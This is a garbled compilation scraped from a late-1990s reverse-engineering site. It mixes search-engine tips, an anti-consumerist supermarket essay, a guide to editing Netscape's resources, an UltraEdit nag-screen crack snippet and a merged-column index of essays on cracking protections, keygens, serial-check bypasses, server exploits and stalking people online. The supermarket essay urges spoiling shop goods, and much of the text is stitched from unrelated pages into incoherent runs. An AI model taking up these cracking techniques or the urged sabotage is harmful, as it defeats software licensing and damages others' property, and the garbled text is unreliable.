This IS the web-fetcher for all those that have slow connexions or that
have been 'banned' from the Web for whatever reason.
If you need more info about the W3gate, just send an "help" message to the
same address as above:w3mail@gmd.de
Do not believe that the more well known search engines are
also the best ones... alliances (and money) play unfortunately
a huge role in these matters, for example, Infoseek strong tie
to Netscape guarantees that many people use the service, The
world wide web worm has no netscape tie and no major commercial
backing, so fewer people use it.
Open Text, is an index that has been around since early 1995,
and until June 1996 was Yahoo's preferred search engine partner.
It's a search engine "in decline". ROBOT NAME: xxx
Yahoo is around since late 1994, may be the oldest major web site
directory. It is a directory (not a search engine) based on
user submission. If a search of Yahoo's catalog doesn't fish,
users should then consult a search engine, Yahoo pipes the
query to any of the major search engines with a click. There
are so many people using Yahoo that the search engines listed
FIRST on Yahoo page have a strategic advantage over others. Alta
Vista is its preferred search engine.
Since Netscape navigator is the browser that people use, and since
browser have a search button that connect to a pre-defined page,
and since people are idiots that would not know how to change
such a setting even if you would explain it to them (of course you
have YOUR OWN search engine page on YOUR HARDDISK connected to
that button, if you do not be ashamed and copy at once my
searengi.htm on your harddisk, you'll later modify it as you
fancy) the page connected there IS important. Millions push
that button daily... search engines and directories had to
pay Netscape 5 million dollars each to have a top spot on that
page. AOL directs its suckers to Excite (strategic partner) and
Webcrawler (formerly-owned); Compuserve sends its suckers to
Lykos.
__Common errors__
[ERROR 400]
YOUR REQUEST COULD NOT BE UNDERSTOOD BY THE SERVER
Either your browser is malfunctioning or your Internet
connection is unreliable
[ERROR 401]
YOU ARE UNAUTHORIZED TO ACCESS THAT DOCUMENT/WEBSITE
proper authentication is required, ask root organisation
This is usually the hardest and most time-consuming part of a search. The number of hits you obtain can range
from none to hundreds of thousands, and their relevance or usefulness can vary from considerable to negligible.
There are some things you can do to help produce more relevant hits for the fewest total number.
Too many hits are caused by the use of queries that are too general. Try using more specific terms. The
more exact your query, the better your results.
Too few hits are usually caused by too restrictive a query. Broaden your search by removing the least
required keywords or operators.
Try starting with a subject search and continue down the path to the last relevant title. At this stop, switch
to a keyword search. This limits the search to the last subject title, which will reduce the hits and improve
their relevancy.
Compose the query with the appropriate operators for the particular search tool that you select. A large
number of irrelevant hits are often due to a powerful search engine misguided in its search.
Narrow the scope of your search by choosing a specific field of search offered by the search engine, such
as a time period or geographical area.
Success in any particular search query is usually more a question of which search tool has the best database for
the subject and how the information is organized for retrieval. This is why it is often necessary to try a number
of different search tools when searching for obscure information.
Some search engines list the hits by titles, some by brief text and some give you a choice. When available
choose the brief text, as it is easier to evaluate. Even so, it is often necessary to click the link to see the entire
document before you can assess its content. Some sites may not be of apparent interest, but will contain links
that have great relevancy. Some searches yield the desired information quickly, and some you may just have to
plod through. Another problem is caused by search ngines that DO NOT list the DATES of the retrieved pages.
This is VERY BAD, because the 'volatility' of Internet will have probably caused the disappearence of many of
those sites (I for instance don't even bother to check pages with a 'fetch-date' older than three months when I am
confronted with many hits)
As you gain experience, you will find the search tools to use that are most appropriate for your particular
interests and how best to evaluate the hits.
Go ahead, enjoy!
fravia+, February-November 1997
fravia's emailsnatcher
See how easy it is...
I get so much mail from this that I have altered the address, and hopefully you get a bounced mail reply,
In effect you'll get (as an attachment) what I usually get when you visit. HAve a look... you'll see that
Java script (as well as many other internet tools) can be used to gather quite a lot of information about
you.
Ok, Fravia convinced me to publish separate without interpolating all this in my tut, coz it would have been too
heavy, even if in my opinion it is part of cracking and he may be wrong, coz nobody will read my crap if I don't mix it
with software cracking info, coz people do not want to learn to be free, and to free them we have sadly to
"circumvent" them with more or less the same techniques that our enemies use to enslave them :=)
Let's crack the very temples of the enemies of the humanity and poetry, the prisons where we are forced to buy and
consume... let's show all idiots the WHIPS that are used to enslave them... as always light comes through knowledge
Remeber that NOTHING is casual in this awful society where people are CULTIVATED to consume and nothing
else than that. Around you almost everything has a "secret" meaning, that you are not supposed to see, understand or
crack (see the codebar example in my C1 lesson, which is my best contribution so far to this cause :=) Knowledge is
real power... it's not just a phrase! And Internet gives us (at least until now) the possibility to spread knowledge. They
spread shit ads, useless information and publicity, we spread "real" knowledge... we'll win
Let's begin with some simple basic counter-intelligence work... You'll never watch your mall or supermarkt with the
same eyes after having read this
The entrance is on the right, yet you walk left, duh In all modern supermarket the slave MUST follow a
counterclockwise direction: 95% of the population of the world has a slight imperfected equilibrium, they tend to the
left... if you leave somebody alone lost in the desert (don't do it :=) he'll begin tu turn round counterclockwise. That's
the reason ALL modern supermarket have a "counterclockwise" layout... which btw has other consequences and
hidden meanings, as you will see in the following
Note that the disposition of the fruit and vegetables is NOT casual (far from it). The whole point in supermarket
enslavement is that the very few thing that are really useful and must be bought are overwhelmed and interpolated
with completely useless products and/or with much more expensive varieties and qualities, because of the huge profits
on those articles and of the smaller profits on basic products.
Cry baby cry There are queues at the cashier, and that's the right moment to bite the slave's kids, which are terribly
annojed and exige the products that have been purposely put on the two sides of the cashier queue. Watch them, look
at their prices... very very interesting this is really the "lower instinct" part: All these articles are chosen and
calculated to give maximum profit, all products you would NEVER in your life come to buy but here, coz this is the
only real (compelled) "canyon" that the slave must cross... "Dad, may I have this and that?". "Why shouldn't I buy
those nice mints?"
Notice how these products are MUCH more expensive than the "three for one" confections of the same product that
are sold inside the shop somewhere... but where? You will not know, coz that's exactly the sort of products you
normally don't buy! How many time do I have to prove it to you
Teach your kid to use the waiting time to completely upset the order of these products, or do it yourself. These shelfs
can also be very useful to dump all useless products that you did buy without noticing ever after having read this...
best of all is to dump there a couple of frozen icecreams boxes upside down, they will slowly leak everything on so
artfully positioned peppermints :=)
So let's battle against them! Codebar! Understand! Explain others! Free the stupid slaves... watch the world around
you free from petty convention and understand in what for an awful mess you are condemned to live!
+ORC, the old red cracker... (I'm not finished yet, there's more to come!)
An addition, by Michel (slightly edited by fravia+):
Funny, but some shops seem to experiment the opposite: a big european
furniture shop (IKEA) has choosen for some of its shops (in France for
instance, yet not elsewhere) a "clockwise direction" layout.
The idea is probably that in this way you will browse through these
shops more slowly, instead of choosing the "optimum" -quicker- trajectory.
- "Hypermarket"
I don't know if this concept exists in english. In french (my native
Ok, that's all. Thanks for reading ;-) Complete informations on the
subject must exist somewhere, at least in marketing courses, or
perhaps in psychology, I don't know. Anyway, it's always good
stuff to know.
Bye,
Michel
1. There is +ORC's essay about supermarkets and how they enslave you, which mentions the counterclockwise effect.
I for myself have a small side job in a pathetic attempt to get more money to cover my ever growing expenses, and
can add to this.
One time in this sports store, I was told to adjust all the lamps on the floor i was working on. Naturally, when i was
told to give them a little tilt to the left while still illuminating the products (make everything look nice and shiny and
all that), I had to ask why that would have any effect. The story behind it was the same counterclockwise effect, but
added to that the fact that when the lamps are tilted that way, it will invite the customer to keep a certain direction.
walking in normally and taking the counterclockwise route, the customer will see light shining on the clothing,
walking clockwise, he will have light shining somewhat in his eyes... at least in his view of vision. Therefore, what
will happen is that 'the herd' will take the signals in his visual range and most likely amble through the store
counterclockwise, and end up in front of the cash register, or at least not disturb other customers as they browse by
moving in an opposing direction. To mention another aspect of 'herd behaviour', people like to 'follow the leader', and
when they see people in front of them moving through the whole store, instinctively they will follow, thinking 'there
must be a reason people look through it'.
Another thing perhaps is the way you are supposed to approach customers. Unlike what's reported by +ORC in his
supermarket essay, in a store like mine you are naturally deeply instructed to 'press' the customer on whether you can
help him or her. But you don't ask 'can I help you'.
Why not? This immediately implies that you are granting favours, that you are in a 'master' position vis-a-vis the
customer. You are supposed to ask the customer 'can I be of service?', or similar questions along the same 'Aladdin's
lamp' line, obviously giving the customer a false sense of having the upper hand in the conversation, as well as the
customer/seller relationship.
Then the whole verbal selling technique starts, but I guess that is beyond the interest of this topic. There are a lot more
things to say about standing in the kind of store I am in, but I am not sure whether this is relevant to the discussion at
hand, let alone whether it is of major interest.
I'll quickly mention a few short things I know from other stores, such as the fact that the music you hear in stores is
naturally always programmed. In one of the stores where a colleague of mine once worked they even had a rythm
added to it, in the sense of numbers being played. There would be four 15 minute parts of music, especially set to be
sort of a subliminal inducer for customers entering at the right time. The first part would be sort of a welcoming
theme, followed by restful lingering, after which you would get a bit jazzed up by faster music until the last 15
minutes 'invited' you more or less franticly to leave the store again. Most stores work with customer counts in order to
program store success, where the more customers that have visited without buying something, the lower the per
customer buying amount will be. Another interesting point which clarifies obviously why stores usually try to herd
you out after a certain time; every customer around you that doesn't buy anything affects other customers (if they
don't buy anything, then why should I? this is obviously crap, and so on). Lastly, I've heard also from another
colleague (it's amazing what you can learn if you are willing to infiltrate and search, that's what real social
engineering for real reversers should be about, btw) that in the place she worked in before this one, they worked on
'sniffing posts'!
What they had done was place on several locations a couple of hidden 'deodorisers' (for lack of a better word), which
would dispense fragrances that would complement the feeling you should have with certain products. From what I've
gathered, back then it wasn't so successful, but they are most probably still working on it; if you smell funny stuff in a
huge store, you know where it comes from. So, if you do, don't just sit there and say 'Ah ja': Investigate, find the truth,
report it.
Thinking about that, I do remember seeing all kinds of spray cans lately in that line of product enhancement. There
are cans that I have held in my hand that have the 'fresh bakery smell', which can make you think you're in a bakery
from heaven, and everyone knows by now the 'new car' spraycan that is supposed to add that new smell to your car,
the smell that you only get when you first buy it. Needless to say, fooling people means fooling the mind, and fooling
the mind is done for a large part by fooling the senses. Basically it is so that consumers are treated like an heard of
stupid cows, that must be lured into buying things they don't need in the least for the sake of filling some wallets.
2. An observation on the cigarette ads. In our country (The Netherlands), if I remember correctly, the European
Union's directives sort of restrict cigarette companies to blatantly advertise their product. Since I do not either buy
cigarettes or search for these ads, I do not know for sure how those restrictions lie, or how much they are enforced.
What I do see right now in advertisements shown in cinema's and on billboards is the rather funny shift of
'advertising'.
Suddenly, the art of sponsering is discovered, and all these 'events' pop up with sigarette brands attached to them. This
ranges from the 'marlboro flashbacks' (bands covering a favorite group) to 'barclay's fashion awards', and not to forget
the 'drum rythm festival' (drum being the stuff that you roll before you smoke). Now that they are not allowed to
advertise openly neither with 'cowboy scenes' (see Martine Joly's splendid essay: Rhetoric of advertisement, a
"Marlboro Classic" Advertisement analyzed) nor stuff like that, they get name recognition by sponsoring these events,
and naturally make connections with the show involved. Of course, the same is being done with beers to some extent,
but cigarettes right now are the leading players in this game.
You are deep inside fravia's page of reverse engineering, choose your way out:
homepage links anonymity +ORC students' essays javascript wars academy database
antismut tools cocktails search_forms how to search antismut CGI cracking mail_fravia
Is reverse engineering illegal?
by Mammon_
Well, this is a VERY interesting essay from Mammon_. I noticed part of this work on Mammon_'s own and very good
page more than four week ago, and I'm happy to see that he sent a nice ameliorated essay to the +HCU. As you'll read in
Mammon_'s essay, there is a lot of resource editing going on, so let's clear these things out a little.
I "presented" myself the BRW resource editor to the scene some time ago with my ultraedit essay, many knew this stuff
already, yet many other did not, and anyone can see that resource editors are now much more used than a year ago :-).
There are on this planet (to my knowledge) following main resource editors:
WRT = Whitewater Resource Toolkit for Windows 3.1, A very good tool, greeted as "Wizard stab" when it appeared,
father of all the following ones. Whitewater has been BOUGHT by Symantec in order to get this extraordinary 16-bit
project
BRW = Borland Resource Workshop, last version 4.5 shipped with Borland C++ 4,5 (you can have it now once more for
less than 4 UK pounds on the next new October 1997 issue of PcPLUS, a UK computer magazine, see my blackboard)
This resourec editor is still the best one IMO. Borland seems to have kept rights on WRT until 1994/5
SRS = Symantec Resource Studio 32, Version 1.0, (c) 1995, nice graphic and frills, works not as good as BRW. This is
the Whitewater product without the knowledge of the Wizards at Borland, "restyled" and "updated" to 32 bit by the
average programmers at Symantec.
WRE = Watcom resource Editor for Windows NT, versioN 11.0. A good resource editor, yet not as good as Borland's
BRW 4.5. WRE.EXE is only 174.592, but it needs a lot of other "parts" and *.dlls to work
I am awaiting your contributions on these matters. As soon as enough material arrives, we'll move the above introduction
to a special +HCU's section (Hackmore, are you reading this?)...
And now enjoy this very interesting essay: I always hated those stupid useless "Directory Buttons" in Navigator :-)
2. The Buttons
The first thing to change in our target is going to be the buttons --you know the ones, those useless "Directory Buttons"
that you always turn off (Options/ Show directory buttons) because they have horrible titles (and contents) like "What's
New", "What's Cool", and "People". If you look in BRW you will find the labels for those buttons, and the URLs that
match them, inside strings 621-635. Needless to say, you can edit the strings to reflect your six most-visited web pages. I
chose to remap them as follows:
621 (What's New): from ...whats-new.html to http://207.30.50.126/fravia (New Title: +HCU)
622 (What's Cool): from ...whats-cool.html to http://kryten.eng.monash.edu.au/gspamt.html (New Title: Net Tools)
3. The Menus
But we are not done yet; there are still a couple of useless menus lurking around here (Look at your Netscape window:
"Directories" once again and also "Help", both of which use URLs to define their actions)...you'll find their strings
between 65000-65399, though I would suggest editing only the URLs and changing the menus directly by editing the
Menu2 resource through BRW. The menus originally look as follows:
Directory:
"Netscape's Home" http://homenetscape.com
<SEPARATOR>
"People" http://guide.netscape.com/guide/people.html
Help:
"About Netscape" about: ;Note the use of the about: tag!
"Software" http://home.netscape.com/comprod/upgrades/index.html
<SEPARATOR>
"Handbook" http://home.netscape.com/eng/mozilla/3.0/handbook
<SEPARATOR>
Mammon_ (Links)
Mammon_ (Tools)
<SEPARATOR>
Fravia http://207.30.50.126/fravia/
Greythorne http://www.cracking.net/gthorne/
L0pht http://www3.l0pht.com/
Resources:
AngelFire http://www.angelfire.com
FortuneCity http://www.fortunecity.com
Geocities http://www.geocities.com
Supernews http://supernews.com
<SEPARATOR>
SwiftSearch file:///C|/Tools/SwiftSearch/SwiftSearch.exe
NetInfo file:///C|/Tools/NetInfo.exe
JPadPro file:///F|/Jdk/JPadPro/JPadPro.exe
<SEPARATOR>
Ah, much better. Once more now, theory into practice, by using the file:/// tags to access files on my hard drive. To get
this to work right, you have to set the Netscape action for ".exe" to "Launch this application:" with the application field
left blank. This will give you a SaveAs... box when you click on one of the "file:///" menu items (i.e., NetInfo); if you
press OK, the .exe will save, and if you press CANCEL, the .exe will run (we could disable the box, but then you could
never save .exe's that you downloaded...).
To top it all off, I shuffled around the main items in Menu2 so that my menu bar now reads
File...Edit...View...Go...Cracking...Resources...Bookmarks...Options...Window: perfecto! Now you just need to change the
title bar to Crackscape....
Netscape does keep a number of interesting values in the Registry, all of them in
HKey_Current_User\Software\Netscape\Navigator
(the HKey_Local_Machine\SOFTWARE key simply stores the version number of the program), which has the following
subkeys:
Address Book (where it is located)
Automation Protocols
Automation Shutdown
Automation Startup
Automation Viewers
Editor (preferences)
Images (settings)
INTL (settings)
Main (preferences)
Network (preferences)
News (preferences)
Security (settings)
Settings (preferences)
It is generally a good idea to locate things like URL history and Cache in a temp directory that gets deleted at bootup;
these files will all re-create themselves. Cookies.txt, however, cannot be replaced with a nonexistent file; the last time I
tried that I went to microsoft.com to test it and my computer GPF'd so hard that soft-ice only showed a column of
There's not much to sum up in this essay, unless it is to point out how simple it is to customise these programs with a good
resource editor. Strings are by all means a good starting point in reverse-engineering or cracking a program; if you follow
any one of the "http:" strings through W32Dasm, you'll find that the first or second call following, leads to the "URL
Parsing" routine, an interesting routine which is referenced by about a hundred different lines of code.
As a note of interest, I did the work on this project twice, once with BRW, once with Symantec Resource Studio; both
were equal until I juggled the menus, which then did NOT link to the URLs in the Symantec version. This is not to put
down Resource Studio as an editor: in fact, it allows me to edit at least some of explorer.exe while BRW flat-out crashes.
But it is more food for thought; some day we may have to "repair" these tools....
Mammon_
(c) Mammon_ 1997. All rights reversed
You are deep inside fravia's page of reverse engineering, choose your way out:
You should use Courier New 8 in order to view and print correctly this essay
...
:00401153 6A08 push 8 ;"This is an unregistered copy of UltraEdit"
...
And we would also have quickly found the Cinderella protection as well,
using the same method:
BTW, I checked the more recent 4.3 version of Ultraedit: the protection
scheme is the same crap (lazy programmers):
cmp 47500C,0 ;holy flag
jne 004023E3 ;nagscreen
and
cmp eax, 0000002D ;0x2D = 45 :-)
Unbelivable? Try it... See? Now you begin to understand why BRW development has been
deemed "not allowed" :-)
More options
You can apply of course the same trick to EVERY PROGRAM of this planet.
As a matter of fact BRW is great fun for modifying all your software as you
fancy, allowing you quite a palette of options, from puerile to serious reverse
engineering of applications you do not have the source code of...
My copy of MS-Exchange, for instance, has (obviously) "Micro$oft" with the $ sign
and "fravia's own" all over it, various new functionalities that I have added
and no secret whatsoever any more for me (BRW-recompiling is easy if you do not
add functionalities and code and just hold to the same length of bytes...
if you add code and patch yor targets you should use BRW AND a good recompiler
at the same time).
I leave to the brain and the mood of the reader to imagine what a good combination
between dead listing, eventual Winicing and BRWing windows 32 applications can
offer us :-):
TOTAL MASTERY OF ANY APPLICATION;
Well, what d'you say? Did you like Fravia's little contribution to the cause?
later
fravia, MSRE (master of software reverse engineering :-)
Post scriptum:
I have been criticized for this, a reader telling me that in fact there are
new versions of BRW...
And yet the best (stripped) version of it I could find or gather until now, even
writing to Borland, is still version 4,5.
If anyone has any newer version, please notify... but check first that it really is
a "development" of BRW, not just another copy of what we already know. (The reader
above apologized...)
You are deep inside fravia's page of reverse engineering, choose your way out:
OK, I admit it: I'm sad. The more I visit the scene (and I routinely check all relevant
links) the more I notice a creeping commercialisation roaring its ugly head even among
us. I cannot understand this: people seem unduly obsessed by the possibility of making
personal gains. Even capable reversers are now more and more seeking some sort of
'monetary compensation' for their work. The subliminal effect of those millions of
commercial banner ads is maybe taking control of their brains, like in a SF-film. Since I
cannot understand this, I'm probably out of touch with the reality. Well, so be it: I'm fed
up. My dream was to fullfill the task +ORC entrusted us long ago: "knowledge is now
free at last: let's use this for once to our advantage: let's spread real knowledge to anyone
that cares. They spread shit ads and fake propaganda, we spread real knowledge. We will
win". Yet we are not winning, or at least the other side is winning even more. And I'm
tired..
Ramblings
Xmas 1998
Merry whatever and a happy new year to all my
readers!
fravia+'s boring rumblings
(about goebbelsian european propaganda, Clinton's sexual escapades and Iraq bombing)
Na ja... merry Xmas (or Yanucca, or whatever your local ideology is) to all of you... since we
are reversers, and since I'm unfortunately editing nice essays, right now, during a barbarical
air-attack against a population that has the only fault to live in a different dictatorial system
than the ones we ourselves are enjoying, and since my kids are playing with nice new toys in
Winter the same room where a TV-set yells an awful sequence of idiotical propaganda in the We reverse
1998 attempt to cover the images of other kids being bombed and killed by the governments of my software
fravia+s American and British friends, I'm afraid I just have to write these words, even if they sound ~ while
boring silly and useless... it is just a question of being coherent with my (limited yet still existing) software
rumblings conscience: Nossir: Your wars are not mine. Whatever your obscene propaganda says: your kills
wars are not mine. I'm a reverser, I won't forget anything. You'll pay for these crimes. Sorry,
I know politics and web-teachings should be kept well apart... and I always sincerely did
great efforts in this sense... but this time it was just a little too much for me. I flipped the
moment I heard on CNN the american butcher-in-chief saying that "fortunately there have
been no victims among US-citizens"... See: I had to write this small snippet, after all it's a
Keeping a site like this one remembers me of costantly adjusting and repairing things in a
End big house. At the moment, as you can see from the chronology, I'm working somewhere in
January my Javascript section... Take a seat, sip a cocktail and read some essays, if you need me
you'll find me there. ~ The new Javascript entrances section has collected a huge amount of Techno
1998 ~
cool
Working in the interest... man! These things are indeed interesting! ~ I have also revamped my reality
'cave' cracking after having received the 'cigarretes' essay by +ORC... hope to get this section up
and running for this sommer (besides: I love Bilibin's pictures :-)
1997
7 November 1997 Fravia+ & Snatch New interesting tool: Smartcheck 5.0 ~ pretty important
PC Magazine november 97 (not the
3 November 1997 Thank denis Hors serie edition) carries Delphi 2 ~ Pretty important
trial and Intrabuilder
Well, this comes directly from MOST important for all
+HCU preparation for +ORC, so only those that passed the +HCUkers
29 October 1997 the 1998 courses strainer (and the old hands) are
~
Quite important for all
requested to do it friends
PcPro (UK magazine) December
issue: pcANYWHERE, Norton
Utilities, Crashguard, Norton TOOLS!
28 October 1997 Thank +ReZiDeNt!
AntiVirus and the full Corel Office 8
~
pretty important
(with Paradox) for 3.50 UK pounds
in Europe, even less in Britain
Two new interesting sections:
28 October 1997 +HCU Taxonomy Advanced cracking and Snippets ~ Quite important
Well, you'll get a PERFECTLY LEGAL copy of BRW and the whole Borland C compiler (a very
good version BTW: 4,52, and the complete Windoze's API reference, and a lot of other goodies
(Netscape 4, for instance) for less than 4 pounds... should somebody dare to say that Crackers are
the ruin of the software industry you know what to answer :-)
Some info about PcPlus (UK) for those of you outside the European Union:
pcplus@futurenet.co.uk
http://www.futurenet.com
Future publishing: United Kingdom: O1225-442244
1998
merryx.htm: Merry Xmas! (a present for the good ones, a punishment for the
bad ones :-) ~ truber_1.htm: Trubert's Linguistic cracking ('Nationality'
exegesis) part of the text cracking section, useful for stalking purposes as well ~
23 December 1998 kmart_s1.htm: Kmart's More searching tips (Advanced searching) ~
Contents: xdae_22.htm: +Xdaemon's Cracking File Read Aloud v1.1 (the chmod
Merry Xmas ~ Linguistic cracking ~ indicator) ~ Blackboard & Links & Cocktails & Recent thoughts & howtouse &
Advanced searching ~ chmod cracking ~ protec.htm updated ~ soz_li.htm: .sozni's OCX cracking (Using LIC files) ~
OCX cracking ~ Linux cracking ~ mm2*
siul_333.htm: SiuL+Hacky's Linux cracking: About Introducing Your Own
neutralizing ~ More about supermarket
enslavment Code (Advanced cracking) ~ mm_dat.htm: ZenGuy+:Neutralizing MM256.DAT
and MM2048.DAT files ~ cugeosup.htm: Curious George's 'the discount
supermarket' and fravia+'s "European Motorroad malls", as part of the
'supermarket enslavery' section of the reality cracking Lab
slaves.htm: Dark One's ADDITION to the famous "supermarket enslaving
tricks" by +ORC (a reality cracking essay ~ porvbo1.htm: Victor Porguen's
Redirection Revisited -- Achieving Redirection Through API Spoofing (part of
the +HCU papers) ~ kuririrh.htm: Kuririn's A "quick and dirty" look at rhetoric
12 December 1998 and persuasion(a reality cracking essay ~ Micro$oft bashing & cocktail.htm &
Contents: confnets.htm revamped ~ ideale7.htm: fravia's and A+heist's How to seriously
More supermarket enslavement ~ VBOX annoy smut sites... (How to allow any luser to access any commercial smut site
reversing ~ rhetorical truths ~ access any for free :-), part of the Site busting section ~ owlimpo.htm: The Owl's Cracking
commercial site ~ Cracking the impossible the impossible, part of the advanced software reverse engineering lab ~
~ Things that happen ~ corporate sniffing ~ anohisto.htm: fravia's Things that happen, part of the Anonymity Lab ~
Dick & Drugs ~ Crunching ~ everlock enbecor.htm: Embedded's Sniffing the Corporate and Institutional Network, part
revisited of the corporate survival techniques section ~ psycioff.htm: Cioff's Psycho
slimming , part of the reality cracking section ~ crunchi7.htm: Joa's Little essay
about the various methods and viewpoints of crunching. Part VII: Arithmetic
Crunching (crunching bits apart...) ~ everlock.htm: Tomboy's Everlock by
Az-Tech: Reversing a Commercial Copy Protection Scheme - Part I
anonema.htm: Anonymous emailing, fravia's golden tips ~ corporate.htm: One
for "public" computers ~ whydwcr.htm: Why crackers crack? Reversing
reversers' psychology (part of the how to protect better section ~ links.htm
2 December 1998 revamped ~ Advanced javascript page (restricted access... see "entrance" at
Contents: javascri.htm): Gattman's Java approach ~ codeliap.htm: cracking codelink v4.0
anonymous emailing ~ why crackers crack by silkware "applets cracking" by douby ~ surre_05.htm: The continued irc
~ Java against javascript ~ applets cracking experience, pro's and con's from a searching standpoint by surreal5 (part of
~ search better ~ The surreal5's search tips) ~ TWO reality cracking essays!: pharma1.htm: Cioff's
multi-pharmaindustrial conspiracy ~ The multi-industrial conspiracy ~ entran.htm revamped ~ asparta1.htm:
Windoze watches you? You watch
Kuririn's Dangerous food additives (reversing labels) ~ twdappl2.htm: TWD's
windoze! ~ Dangerous food additives
(reversing labels) ~ Cinderella ~ Using Looking inside your Windows 98... (second part: "Tell me which applications
BRW you run and I tell you who you are"), part of the Micro$oft bashing section ~
rhino.htm: Sojourner's What Time Does the Library Open? (part of the Most
stupid protection section) ~ caligo4.htm: LordCaligo's Using BRW: How to
make passwords hidden by "stars" visible, a How to use our tools essay
The above section is a MUST for all reversers and protectors alike. Read, study,
keep cool, learn... you have enough material in there for a couple of weeks!
coc_001.htm: Cup of Cats' When one key code works, why can't the rest of
30 October 1998
them? ~ Our tools galore! 3 essays: 1) swann_mm.htm: Swann's A New Toy:
Contents: reversing the different 'modes' of a target ~ 2) laste_09.htm: adq's isDcc: An
Strainer's solutions! ~ deep into the code ~ installshield Decompiler Advanced reversing ~ 3) getinfo.htm: Nikodemos
Our tools galore ~ different modes ~ have a
(Jayke): The Quick Guide to Smashing those insidious *.DAT filez ~
look at your dats! ~ good old Cute ~
cftp_pro.htm: The+Q's CuteFTP KeyFile Protection Advanced reversing ~ An
encryption challenge: Jeremy Likness's challenge to all readers of my site ~
pilgrim.htm: Pilgrim's How to crack a PC-based FlexLm license manager ~
fragas1.htm: Lone Runner's WIN32 Api Hooks, The stub approach, Advanced
reversing ~ tapu1.htm: Tapu's Cracking The Information Curtain, a reality
interesting emailexchange between Brandon Van Every and Russ Williams: The
Economics of Piracy ~ Advanced javascript: +mISu's A real solution using
backtracking Advanced javascript
septem.htm: contributions to my September discussion ~ reacraus.htm: Getting
deeper into reality cracking: (<predator>'s fascinating rantings on an essay by
Curious George) Advanced reality cracking ~ icedump4.htm: release 4 of
TheOwl's winice dumper, one of our tools. Advanced software reversing ~
joarea1.htm: Joa's Sect cracking, a first attempt Reality cracking ~ altruis1.htm:
16 September 1998
Deep dt's Altruism and charity, a reversing attempt Reality cracking ~
Contents: crunchi6.htm: Joa's Little essay about the various methods and viewpoints of
Should we crack or reverse? ~ Advanced crunching. Part VI: The secret of Zip and Rar (LZW explained) Software
reality cracking ~ softice dump, version 4 ~ reversing Papers ~ symbo_1.htm: sYmbol's KeyLBE32.DLL, why would you use
Sects and altruism cracking ~ Zip and Rar
this to protect your program? "Target unrelated" cracking ~ patch_1.htm:
reversing ~ "target unrelated" cracking
Daniel's A Free Win32 Patching Utility, Our tools; "Target unrelated" cracking
~ cyberme.htm: Sanity's Cracking an uninstaller, [Filemonitor & Deadlisting]
Most stupid protections; "Target unrelated" cracking ~ asc0.htm: Asc0's A
crackme based on Aesculapius' algos, Our protections; "Target unrelated"
cracking ~
septem.htm: I now consider "silly" protection cracking useless, therefore the
part of my site that deals with software protection will change radically ~
08 September 1998 ideale5.htm: server exploits you can really use Advanced site busting ~
Contents: win98tut.htm: Bypassing Win98 FULL Version's serial check "without
Reopening after a long while: my site will cracking", by IH8U (Micro$oft bashing) Intermediate ~ pna3.htm: PNA's How
change ~ windows 98 fooled ~ Hooking to hook any API function in kernel32.dll Advanced paper ~ mre2.htm: About
operating systems ~ A very stupid keyfiles, generators and protections Beginners ~ shampa1.htm: Makoli's
commercial protection ~ reality cracking ~
Reversing Shampoo, a short Reality cracking essay. ~ compro2.htm: LSD's: An
advanced site busting ~ Linux advanced
cracking incredibly stupid "commercial" Protection Programmer's corner Intermediate ~
siulflex.htm: SiuL+Hacky's Linux advanced cracking: flexlm Advanced ~
wdasmcr.htm:
On friday 31 July I'll publish the LAST UPDATE until september: I'm leaving
the web for a whole month. +gthorne (gthorne(at)cyberspace(point)com) has the
"keys" to this site if anything REALLY URGENT needs to be
updated/modified!
enemy.htm: a new introduction about stalking people on the web Intermediate
31 July 1998 enemy tracking ~ searmyst.htm: fravia's search engines' vagaries (reversing
Contents: SE's bots) Intermediate ~ links.htm revamped ~ reveinfo.htm: reversing
Preparing for holydays ~ stalking on the information, some examples from 'The Economist' (as part of the reality
web ~ search engines' vagaries ~ reversing cracking section). ~ dllshow1.htm: A+heist's reversing dllshow, a very simple
information ~ ready made protections are snippet for beginners Beginners ~ xoano_27.htm: +Xoanon's Another
weak ~ some good ideas for protectors readymade sotware protection (Intellisecure R2) dies Intermediate ~
monitor.htm: MisterE's Keyfiles: Monitor/RA v1.80 and the 'hidden protection'
idea Beginners ~ rcnewht.htm: Cracking an encrypted dll scheme: Virtual
Turntables 1.5 (from the programmer's corner section) Intermediate ~
lanpat.htm: Stalking people on the web: reversing language patterns Advanced
enemy tracking
mmstory.htm: fravia's What's behind the mm256.dat and mm2048.dat files? (as
15 June 1998 part of the Micro$oft bashing series) Intermediate ~ danadd1.htm: Maxine's
Contents: Dangerous food additives (reversing labels) (part of the reality cracking section)
D'you really know what your software is ~ frogpr3.htm: Frog's Print's The Simlock saga (snippet from a real 1998 +HCU
doing when you are asleep? ~ reality (food) seminar) Intermediate ~ xoa_126.htm: Xoanon's PreviewParadise R.I.P.
cracking ~ how stupid is Nokia? ~ timelock (vboxed programs... bye bye!) (part of the timelock project) Intermediate ~
revisited hutsting.htm: SLH's Applying the sting(Last part of a great tutorial into windows
"tight" coding) paper
10 June 1998 crunchi2.htm: Joa's Little essay about the various methods and viewpoints of
Contents: crunching (2 - Probability and Crunching) Intermediate ~ awards.htm revamped
Crunching papers first part ~ Windows for ~ sublimi.htm: Dr. Lechnar's Subliminal Advertising: What's hidden in the
assembly buff, part six ~ reality Microsoft's logo, from the reality cracking section! ~ hutchif1.htm: SLH's The
(subliminal) cracking iron fist(Keeping The Crackers Amused) paper
06 June 1998 crunchi1.htm: Joa's Little essay about the various methods and viewpoints of
Contents: crunching (1- Introduction) Intermediate ~ misu1.htm: +mISu's The PicaView32
Crunching papers, an introduction ~ keygen KeyGenerator (keygenerators in C++) Intermediate ~ hutch_65.htm: SLH's The
or not keygen? ~ Windows graphics from Eye Of The Warrior (a "graphical" windows' paper) ~ rebodila.htm:
an assembly viewpoint ~ reality (bodily) +Azzeccagarbugli's An attempt at reversing body language; from the great
cracking reality cracking section!
q_tv0601.htm Q's "Fixing" AIMS-Lab's VH-TV Program" Intermediate ~
01 June 1998
kent_com.htm: "How commercial trends are transforming the web from a great
Contents: provider of CONTENT into a nightmare of utterly useless banner clicking" a
Crackers that debug and repare their own small real life lesson, by fravia+ ~ An old 1996 "disappeared" lesson by +ORC
targets ~ stubborn webmasters ~ digging to found on the Web, read the whole story (and the lesson) on greythorne's site!
light disappeared +ORC's lessons ~
historically relevant! ~ q_tsr601.htm: Q's A different approach cracking a DOS
CD-rom protections
CD-protection Intermediate ~
bayu3.htm "Undocumented HASP 3 (no more security through obscurity)"
29 May 1998 Advanced ~ history: History of my site revamped ~ hutch28.htm: SLH's fourth
